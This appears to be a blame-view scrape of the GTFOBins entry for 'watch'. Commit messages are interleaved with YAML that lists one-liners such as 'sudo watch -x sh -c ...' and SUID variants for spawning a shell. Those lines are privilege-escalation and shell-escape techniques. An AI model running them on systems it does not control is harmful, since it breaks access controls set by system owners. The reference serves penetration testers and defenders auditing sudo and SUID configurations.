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GTFOBins.github.io/_gtfobins/watch.md

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Add watch
2018-05-27 19:17:14 +02:00
---
functions:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
execute-interactive:
- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
Add watch
2018-05-27 19:17:14 +02:00
suid-enabled:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: This keeps the SUID privileges only if the `-x` option is present.
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
Reorder functions in binaries
2018-07-04 20:26:52 +02:00
sudo-enabled:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
Add watch
2018-05-27 19:17:14 +02:00
suid-limited:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
- code: ./watch 'reset; exec sh 1>&0 2>&0'
Add watch
2018-05-27 19:17:14 +02:00
---
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